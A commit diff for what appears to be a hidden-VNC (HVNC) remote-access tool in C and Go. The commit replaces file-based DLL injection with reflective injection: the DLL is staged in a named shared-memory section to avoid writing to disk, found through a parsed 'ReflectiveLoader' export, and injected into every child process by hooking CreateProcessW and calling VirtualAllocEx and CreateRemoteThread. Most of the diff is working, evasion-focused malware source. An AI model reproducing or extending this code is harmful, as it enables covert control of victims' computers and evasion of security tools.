save2
This commit is contained in:
+169
-35
@@ -300,7 +300,11 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
LPPROCESS_INFORMATION lpProcessInformation
|
LPPROCESS_INFORMATION lpProcessInformation
|
||||||
);
|
);
|
||||||
pCreateProcessW OriginalCreateProcessW = NULL;
|
pCreateProcessW OriginalCreateProcessW = NULL;
|
||||||
static WCHAR g_DllPath[512] = { 0 };
|
|
||||||
|
// In-memory DLL bytes for child injection (mapped from named section)
|
||||||
|
static HANDLE g_DllSectionHandle = NULL;
|
||||||
|
static LPVOID g_DllRawBytes = NULL;
|
||||||
|
static DWORD g_DllRawSize = 0;
|
||||||
|
|
||||||
// Helper function to check if path needs redirection
|
// Helper function to check if path needs redirection
|
||||||
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
|
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
|
||||||
@@ -713,41 +717,134 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
QueryFlags, FileName);
|
QueryFlags, FileName);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Inject the DLL into a child process via LoadLibraryW
|
// Inject the DLL into a child process via reflective injection (no file on disk)
|
||||||
static BOOL InjectDllIntoChild(HANDLE hProcess, const WCHAR* dllPath) {
|
static DWORD _rva2fo(DWORD rva, const BYTE* pe, DWORD peSize, DWORD sectionOff, WORD numSections) {
|
||||||
SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(WCHAR);
|
for (WORD i = 0; i < numSections; i++) {
|
||||||
|
DWORD off = sectionOff + (DWORD)i * 40;
|
||||||
|
if (off + 40 > peSize) break;
|
||||||
|
DWORD virtualAddr = *(DWORD*)(pe + off + 12);
|
||||||
|
DWORD rawDataSize = *(DWORD*)(pe + off + 16);
|
||||||
|
DWORD rawDataPtr = *(DWORD*)(pe + off + 20);
|
||||||
|
if (rva >= virtualAddr && rva < virtualAddr + rawDataSize) {
|
||||||
|
return rva - virtualAddr + rawDataPtr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (numSections > 0) {
|
||||||
|
DWORD firstRawPtr = *(DWORD*)(pe + sectionOff + 20);
|
||||||
|
if (rva < firstRawPtr) return rva;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
static DWORD FindReflectiveLoaderFileOffset(const BYTE* pe, DWORD peSize) {
|
||||||
if (!remoteMem) return FALSE;
|
if (peSize < 64 || pe[0] != 'M' || pe[1] != 'Z') return 0;
|
||||||
|
|
||||||
|
DWORD lfanew = *(DWORD*)(pe + 60);
|
||||||
|
if (lfanew + 4 > peSize) return 0;
|
||||||
|
if (*(DWORD*)(pe + lfanew) != 0x00004550) return 0; // PE sig
|
||||||
|
|
||||||
|
DWORD coffOff = lfanew + 4;
|
||||||
|
if (coffOff + 20 > peSize) return 0;
|
||||||
|
WORD numberOfSections = *(WORD*)(pe + coffOff + 2);
|
||||||
|
WORD sizeOfOptionalHeader = *(WORD*)(pe + coffOff + 16);
|
||||||
|
|
||||||
|
DWORD optOff = coffOff + 20;
|
||||||
|
if (optOff + 2 > peSize) return 0;
|
||||||
|
WORD magic = *(WORD*)(pe + optOff);
|
||||||
|
|
||||||
|
DWORD exportDirRVA = 0;
|
||||||
|
if (magic == 0x20b) { // PE32+
|
||||||
|
DWORD ddOff = optOff + 112;
|
||||||
|
if (ddOff + 8 > peSize) return 0;
|
||||||
|
exportDirRVA = *(DWORD*)(pe + ddOff);
|
||||||
|
} else if (magic == 0x10b) { // PE32
|
||||||
|
DWORD ddOff = optOff + 96;
|
||||||
|
if (ddOff + 8 > peSize) return 0;
|
||||||
|
exportDirRVA = *(DWORD*)(pe + ddOff);
|
||||||
|
} else {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (exportDirRVA == 0) return 0;
|
||||||
|
|
||||||
|
DWORD sectionOff = optOff + sizeOfOptionalHeader;
|
||||||
|
|
||||||
|
// RVA to file offset helper (inline)
|
||||||
|
#define RVA2FO(rva) _rva2fo((rva), pe, peSize, sectionOff, numberOfSections)
|
||||||
|
DWORD exportDirFO = RVA2FO(exportDirRVA);
|
||||||
|
if (exportDirFO == 0 || exportDirFO + 40 > peSize) return 0;
|
||||||
|
|
||||||
|
DWORD numberOfNames = *(DWORD*)(pe + exportDirFO + 24);
|
||||||
|
DWORD addressOfFunctionsRVA = *(DWORD*)(pe + exportDirFO + 28);
|
||||||
|
DWORD addressOfNamesRVA = *(DWORD*)(pe + exportDirFO + 32);
|
||||||
|
DWORD addressOfOrdinalsRVA = *(DWORD*)(pe + exportDirFO + 36);
|
||||||
|
|
||||||
|
DWORD namesFO = RVA2FO(addressOfNamesRVA);
|
||||||
|
DWORD funcsFO = RVA2FO(addressOfFunctionsRVA);
|
||||||
|
DWORD ordinalsFO = RVA2FO(addressOfOrdinalsRVA);
|
||||||
|
if (namesFO == 0 || funcsFO == 0 || ordinalsFO == 0) return 0;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < numberOfNames; i++) {
|
||||||
|
if (namesFO + i * 4 + 4 > peSize) break;
|
||||||
|
DWORD nameRVA = *(DWORD*)(pe + namesFO + i * 4);
|
||||||
|
DWORD nameFO = RVA2FO(nameRVA);
|
||||||
|
if (nameFO == 0 || nameFO >= peSize) continue;
|
||||||
|
|
||||||
|
// Check for "ReflectiveLoader" substring
|
||||||
|
const char* name = (const char*)(pe + nameFO);
|
||||||
|
BOOL found = FALSE;
|
||||||
|
for (DWORD k = 0; nameFO + k < peSize && name[k] != 0; k++) {
|
||||||
|
if (name[k] == 'R' && nameFO + k + 16 <= peSize) {
|
||||||
|
if (memcmp(&name[k], "ReflectiveLoader", 16) == 0) {
|
||||||
|
found = TRUE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!found) continue;
|
||||||
|
|
||||||
|
if (ordinalsFO + i * 2 + 2 > peSize) continue;
|
||||||
|
WORD ordinal = *(WORD*)(pe + ordinalsFO + i * 2);
|
||||||
|
if (funcsFO + ordinal * 4 + 4 > peSize) continue;
|
||||||
|
DWORD funcRVA = *(DWORD*)(pe + funcsFO + ordinal * 4);
|
||||||
|
return RVA2FO(funcRVA);
|
||||||
|
}
|
||||||
|
#undef RVA2FO
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL ReflectiveInjectIntoChild(HANDLE hProcess, const BYTE* dllBytes, DWORD dllSize) {
|
||||||
|
DWORD loaderOffset = FindReflectiveLoaderFileOffset(dllBytes, dllSize);
|
||||||
|
if (loaderOffset == 0) {
|
||||||
|
LogDebug(L"[ChildInject] ReflectiveLoader export not found");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize,
|
||||||
|
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
if (!remoteMem) {
|
||||||
|
LogDebug(L"[ChildInject] VirtualAllocEx failed");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
SIZE_T written;
|
SIZE_T written;
|
||||||
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) {
|
if (!WriteProcessMemory(hProcess, remoteMem, dllBytes, dllSize, &written)) {
|
||||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||||
|
LogDebug(L"[ChildInject] WriteProcessMemory failed");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
HMODULE k32 = GetModuleHandleW(L"kernel32.dll");
|
LPTHREAD_START_ROUTINE remoteLoader =
|
||||||
if (!k32) {
|
(LPTHREAD_START_ROUTINE)((BYTE*)remoteMem + loaderOffset);
|
||||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
FARPROC pLoadLib = GetProcAddress(k32, "LoadLibraryW");
|
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024,
|
||||||
if (!pLoadLib) {
|
remoteLoader, NULL, 0, NULL);
|
||||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
|
|
||||||
(LPTHREAD_START_ROUTINE)pLoadLib, remoteMem, 0, NULL);
|
|
||||||
if (!hThread) {
|
if (!hThread) {
|
||||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
LogDebug(L"[ChildInject] CreateRemoteThread failed");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
WaitForSingleObject(hThread, 10000);
|
WaitForSingleObject(hThread, 30000);
|
||||||
CloseHandle(hThread);
|
CloseHandle(hThread);
|
||||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -774,9 +871,10 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
lpStartupInfo, lpProcessInformation
|
lpStartupInfo, lpProcessInformation
|
||||||
);
|
);
|
||||||
|
|
||||||
if (result && lpProcessInformation && g_DllPath[0] != L'\0') {
|
if (result && lpProcessInformation && g_DllRawBytes && g_DllRawSize > 0) {
|
||||||
LogDebug(L"[CreateProcessW] Injecting DLL into child process");
|
LogDebug(L"[CreateProcessW] Reflective-injecting DLL into child process");
|
||||||
if (!InjectDllIntoChild(lpProcessInformation->hProcess, g_DllPath)) {
|
if (!ReflectiveInjectIntoChild(lpProcessInformation->hProcess,
|
||||||
|
(const BYTE*)g_DllRawBytes, g_DllRawSize)) {
|
||||||
LogDebug(L"[CreateProcessW] Child injection failed");
|
LogDebug(L"[CreateProcessW] Child injection failed");
|
||||||
} else {
|
} else {
|
||||||
LogDebug(L"[CreateProcessW] Child injection succeeded");
|
LogDebug(L"[CreateProcessW] Child injection succeeded");
|
||||||
@@ -815,7 +913,9 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
// Initialize to empty strings to prevent crashes
|
// Initialize to empty strings to prevent crashes
|
||||||
g_SearchString[0] = L'\0';
|
g_SearchString[0] = L'\0';
|
||||||
g_ReplacementString[0] = L'\0';
|
g_ReplacementString[0] = L'\0';
|
||||||
g_DllPath[0] = L'\0';
|
g_DllSectionHandle = NULL;
|
||||||
|
g_DllRawBytes = NULL;
|
||||||
|
g_DllRawSize = 0;
|
||||||
|
|
||||||
// Try to get configuration from environment variables
|
// Try to get configuration from environment variables
|
||||||
__try {
|
__try {
|
||||||
@@ -850,15 +950,40 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Read DLL path for child process injection
|
// Read DLL section for child process injection (in-memory, no file on disk)
|
||||||
WCHAR envDllPath[512] = { 0 };
|
WCHAR envSectionName[512] = { 0 };
|
||||||
DWORD dllPathLen = GetEnvironmentVariableW(L"RDI_DLL_PATH", envDllPath, 512);
|
WCHAR envDllSize[32] = { 0 };
|
||||||
if (dllPathLen > 0 && dllPathLen < 512) {
|
DWORD sectionNameLen = GetEnvironmentVariableW(L"RDI_DLL_SECTION", envSectionName, 512);
|
||||||
wcsncpy_s(g_DllPath, 512, envDllPath, dllPathLen);
|
DWORD dllSizeLen = GetEnvironmentVariableW(L"RDI_DLL_SIZE", envDllSize, 32);
|
||||||
g_DllPath[dllPathLen] = L'\0';
|
|
||||||
|
if (sectionNameLen > 0 && sectionNameLen < 512 && dllSizeLen > 0 && dllSizeLen < 32) {
|
||||||
|
g_DllRawSize = 0;
|
||||||
|
for (DWORD i = 0; i < dllSizeLen; i++) {
|
||||||
|
g_DllRawSize = g_DllRawSize * 10 + (envDllSize[i] - L'0');
|
||||||
|
}
|
||||||
|
|
||||||
|
g_DllSectionHandle = OpenFileMappingW(FILE_MAP_READ, FALSE, envSectionName);
|
||||||
|
if (g_DllSectionHandle) {
|
||||||
|
g_DllRawBytes = MapViewOfFile(g_DllSectionHandle, FILE_MAP_READ, 0, 0, g_DllRawSize);
|
||||||
|
if (g_DllRawBytes) {
|
||||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
LogDebug(L"[ENV] DLL path for child injection: ");
|
char msg[256];
|
||||||
LogDebug(g_DllPath);
|
sprintf_s(msg, 256, "[ENV] DLL shared memory mapped: %lu bytes", g_DllRawSize);
|
||||||
|
LogDebugA(msg);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
CloseHandle(g_DllSectionHandle);
|
||||||
|
g_DllSectionHandle = NULL;
|
||||||
|
g_DllRawSize = 0;
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("[ENV] MapViewOfFile failed for DLL section");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
g_DllRawSize = 0;
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("[ENV] OpenFileMappingW failed for DLL section");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -987,6 +1112,15 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
MH_DisableHook(MH_ALL_HOOKS);
|
MH_DisableHook(MH_ALL_HOOKS);
|
||||||
MH_Uninitialize();
|
MH_Uninitialize();
|
||||||
|
|
||||||
|
if (g_DllRawBytes) {
|
||||||
|
UnmapViewOfFile(g_DllRawBytes);
|
||||||
|
g_DllRawBytes = NULL;
|
||||||
|
}
|
||||||
|
if (g_DllSectionHandle) {
|
||||||
|
CloseHandle(g_DllSectionHandle);
|
||||||
|
g_DllSectionHandle = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
CloseHandle(g_LogFile);
|
CloseHandle(g_LogFile);
|
||||||
g_LogFile = INVALID_HANDLE_VALUE;
|
g_LogFile = INVALID_HANDLE_VALUE;
|
||||||
|
|||||||
@@ -26,6 +26,9 @@ var (
|
|||||||
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
|
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
|
||||||
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
|
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
|
||||||
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
|
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
|
||||||
|
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
|
||||||
|
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
|
||||||
|
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
|
||||||
)
|
)
|
||||||
|
|
||||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||||
@@ -605,18 +608,20 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
|
|||||||
return fmt.Errorf("empty DLL bytes")
|
return fmt.Errorf("empty DLL bytes")
|
||||||
}
|
}
|
||||||
|
|
||||||
dllTmpPath, err := writeDLLToTemp(dllBytes)
|
// Create a page-file-backed named section containing the raw DLL bytes.
|
||||||
|
// Child processes will open this section to reflectively inject themselves.
|
||||||
|
shmHandle, shmName, err := createDLLSharedMemory(dllBytes)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("failed to write DLL to temp: %v", err)
|
return fmt.Errorf("failed to create DLL shared memory: %v", err)
|
||||||
}
|
}
|
||||||
log.Printf("hvnc inject: DLL written to %s for child injection", dllTmpPath)
|
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
|
||||||
|
|
||||||
enableDebugPrivilege()
|
enableDebugPrivilege()
|
||||||
|
|
||||||
// Create the process suspended on the HVNC desktop
|
// Create the process suspended on the HVNC desktop
|
||||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath)
|
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
os.Remove(dllTmpPath)
|
procCloseHandle.Call(shmHandle)
|
||||||
return fmt.Errorf("failed to create suspended process: %v", err)
|
return fmt.Errorf("failed to create suspended process: %v", err)
|
||||||
}
|
}
|
||||||
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
||||||
@@ -625,12 +630,17 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
|
|||||||
if err := reflectiveInject(hProcess, dllBytes); err != nil {
|
if err := reflectiveInject(hProcess, dllBytes); err != nil {
|
||||||
procCloseHandle.Call(hProcess)
|
procCloseHandle.Call(hProcess)
|
||||||
procCloseHandle.Call(hThread)
|
procCloseHandle.Call(hThread)
|
||||||
// Try to kill the process
|
|
||||||
terminateProcess(hProcess)
|
terminateProcess(hProcess)
|
||||||
|
procCloseHandle.Call(shmHandle)
|
||||||
return fmt.Errorf("DLL injection failed: %v", err)
|
return fmt.Errorf("DLL injection failed: %v", err)
|
||||||
}
|
}
|
||||||
log.Printf("hvnc inject: DLL injected into PID %d", pid)
|
log.Printf("hvnc inject: DLL injected into PID %d", pid)
|
||||||
|
|
||||||
|
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
|
||||||
|
// loader thread). The DLL opened the shared section, so we can release
|
||||||
|
// our handle now.
|
||||||
|
procCloseHandle.Call(shmHandle)
|
||||||
|
|
||||||
procCloseHandle.Call(hProcess)
|
procCloseHandle.Call(hProcess)
|
||||||
|
|
||||||
// Resume the main thread
|
// Resume the main thread
|
||||||
@@ -649,21 +659,46 @@ func terminateProcess(hProcess uintptr) {
|
|||||||
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
||||||
}
|
}
|
||||||
|
|
||||||
func writeDLLToTemp(dllBytes []byte) (string, error) {
|
// createDLLSharedMemory creates a named page-file-backed section containing
|
||||||
f, err := os.CreateTemp("", "hvnc_rdi_*.dll")
|
// the raw DLL bytes. Returns the mapping handle and section name.
|
||||||
|
func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) {
|
||||||
|
name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano())
|
||||||
|
namePtr, err := syscall.UTF16PtrFromString(name)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return 0, "", err
|
||||||
}
|
|
||||||
if _, err := f.Write(dllBytes); err != nil {
|
|
||||||
f.Close()
|
|
||||||
os.Remove(f.Name())
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
f.Close()
|
|
||||||
return f.Name(), nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath string) (hProcess, hThread uintptr, pid uint32, err error) {
|
size := len(dllBytes)
|
||||||
|
handle, _, callErr := procCreateFileMappingW.Call(
|
||||||
|
^uintptr(0), // INVALID_HANDLE_VALUE
|
||||||
|
0, // default security
|
||||||
|
0x04, // PAGE_READWRITE
|
||||||
|
0, // high-order size
|
||||||
|
uintptr(size),
|
||||||
|
uintptr(unsafe.Pointer(namePtr)),
|
||||||
|
)
|
||||||
|
if handle == 0 {
|
||||||
|
return 0, "", fmt.Errorf("CreateFileMappingW: %v", callErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
view, _, callErr := procMapViewOfFile.Call(
|
||||||
|
handle,
|
||||||
|
0x2, // FILE_MAP_WRITE
|
||||||
|
0, 0,
|
||||||
|
uintptr(size),
|
||||||
|
)
|
||||||
|
if view == 0 {
|
||||||
|
procCloseHandle.Call(handle)
|
||||||
|
return 0, "", fmt.Errorf("MapViewOfFile: %v", callErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
copy(unsafe.Slice((*byte)(unsafe.Pointer(view)), size), dllBytes)
|
||||||
|
|
||||||
|
procUnmapViewOfFile.Call(view)
|
||||||
|
return handle, name, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||||
@@ -690,7 +725,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPa
|
|||||||
si.dwY = 0
|
si.dwY = 0
|
||||||
si.dwFlags = STARTF_USEPOSITION
|
si.dwFlags = STARTF_USEPOSITION
|
||||||
|
|
||||||
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, dllTmpPath)
|
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
|
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
|
||||||
}
|
}
|
||||||
@@ -717,13 +752,14 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPa
|
|||||||
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
|
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func buildEnvironmentBlock(searchPath, replacePath, dllTmpPath string) ([]uint16, error) {
|
func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int) ([]uint16, error) {
|
||||||
envStrings := syscall.Environ()
|
envStrings := syscall.Environ()
|
||||||
|
|
||||||
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
|
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
|
||||||
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
|
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
|
||||||
if dllTmpPath != "" {
|
if shmName != "" {
|
||||||
envStrings = append(envStrings, "RDI_DLL_PATH="+dllTmpPath)
|
envStrings = append(envStrings, "RDI_DLL_SECTION="+shmName)
|
||||||
|
envStrings = append(envStrings, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
|
||||||
}
|
}
|
||||||
|
|
||||||
var block []uint16
|
var block []uint16
|
||||||
|
|||||||
Reference in New Issue
Block a user